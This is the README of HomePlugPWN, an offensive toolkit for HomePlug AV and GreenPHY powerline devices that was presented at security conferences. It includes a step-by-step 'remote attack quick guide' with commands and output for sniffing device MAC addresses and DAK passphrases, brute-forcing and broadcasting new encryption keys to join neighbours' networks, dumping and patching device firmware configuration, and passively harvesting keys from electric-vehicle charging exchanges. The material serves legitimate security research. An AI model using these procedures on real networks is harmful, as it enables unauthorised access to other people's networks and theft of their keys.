HomePlugPWN

• HomePlugAV PLC tools presented at NoSuchCon 2014: http://www.nosuchcon.org/talks/2014/D1_03_Sebastien_Dudek_HomePlugAV_PLC.pdf
• Tools on HomePlug GreenPHY have been presented during SSTIC 2019 about V2G Attacks : https://www.sstic.org/media/SSTIC2019/SSTIC-actes/v2g_injector_playing_with_electric_cars_and_chargi/SSTIC2019-Article-v2g_injector_playing_with_electric_cars_and_charging_stations_via_powerline-dudek.pdf

Requirements

• Python >= 3.x
• Scapy v2.x
• Promiscous mode for Sniff Indicate packets

Tools

• HomeplugAV.py scapy Layer: create and craft your own HomePlugAV packets
• discover.py: sends 'GetDeviceTypeRequest' in broadcast to discover PLCs of the same AVLN
• genDAK.py: derives MAC address to get a Qualcomm DAK passhrase
• PBKDF1.py: hashes the DAK or NMK passhrase using the PBKDF1
• quickKODAK.py: performs a KODAK bruteforce on powerline
• plcmon.py: enables 'Sniffer mode' and uses Sniffer Indicate packet to retrieve CCos MAC address
• PIBdump.py: dumps your entire PLC configure (PIB) into a file
• patchPIB.py: patch arbitrary bytes of your PLC, or a field between bytes 0x0-0x400 (see the details of ModulePIB conditions in the Scapy layer).
• HPGPKeysCollect.py: parse HPGP messages and collect keys

Efficient remote attack quick guide

First we plug our device to the powerline and sniff for every possible CCo:

python3 plcmon.py 
[+] Enabling sniff mode
Sent 1 packets.
[+] Listening for CCo station...
	 Found CCo: 44:94:fc:56:ff:34 (DAK: RMHT-ILPO-TYMN-IIXY)
         [...]

The tool recovers also the DAK passphrase directly.

Too change the NMK of the CCos to have a chance to connect to neighbor(s) LAN, we can send the SetEncryptionKeyRequest to the CCos:

python3 quickKODAK.py -i eth0 -t 4494fc56ff34
Sent 1 packets.

If you want to reconfigure all device, skip 2-3 of the MAC address found previously as follows:

python3 quickKODAK.py -i eth0 -t 4494fc56
Sent 1 packets.

This will bruteforce the 2 last bytes, generating a new DAK and sending it in broadcast for every combinaison.

Dump the entire PIB

The following tool aims to dump the entire PIB. You could also use the same techniques to dump the NVM or the Soft-Bootloader...

To process the dump use it as follows:

python3 ./PIBdump.py -i enp0s26u1u1 -o mycpl.pib
[...]
[+] PIB dump: Success!

A file containing your PLC Programmable Information Blocks (PIB) should be created as follows:

wc -c mycpl.pib 
16440 mycpl.pib

Patch your PIB

If you want to change your MAC address for example, you can specify the Scapy attribute to modify and its new value:

python3 patchPIB.py -i enp0s26u1u1 -d <dest. MAC addr> -t "PIBMACAddr" -v "c0:ff:ee:c0:ff:ee"

The MAC address should be changed after that for your targeted device. But if the addresses are read-only for this device, you have to hack a little bit to reflash it correctly.

Nevertheless, if you want to change any arbitrary byte use this command as follows:

 python3 patchPIB.py -i enp0s26u1u1 -d <dest. MAC addr> -a <start_addr>:<len> -v <value>

Like this, you can rewrite the tone map and any other field of your choice ;)

Collecting HomePlug GreenPHY keys from SLAC procedure

The standard is vulnerable to passive attack, letting an attacker to collect keys during a SLAC procedure.

The tool HPGPKeysCollect.py implements the passive attack to collect keys from a capture, or by sniffing the local PLC interface as follows:

python3 HPGPKeysCollect.py -i eth0
[...]
Sniffing on interface 'eth0'
[...]
[+] New keys collected for NetID ('\x45\x00\x23\x34\x76\x34\x01')
{'EVID': '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xcc',
 'EVSEID': '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',
 'NMK': 'YT\xe2\x1e\x45\xf4\x23\x00E\x34\x45\xe7\xc2\x34',
 'RunID': '\x12BA\xee\xff\xe1\x36\x09'}

Please note that at least byte 0x1653 of the PLC should be set to '1' to get it work.

Licence

HomePlugPWN tools including the HomePlugAV scapy Layer are under the GPLv2

Problems?

• Give us your feedback ;)

Acknowledgements

• Xavier Carcelle for his book (Power Line Communications in Practice), and his Framework FAIFA
• Ben Tasker for finding CCos MAC addresses in Sniff Indicate packets
• Open-PLC-Utils : https://github.com/qca/open-plc-utils
• Netgear and TP-Link utilities
• Homeplug AV and IEEE 1901: A Handbook for PLC Designers and Users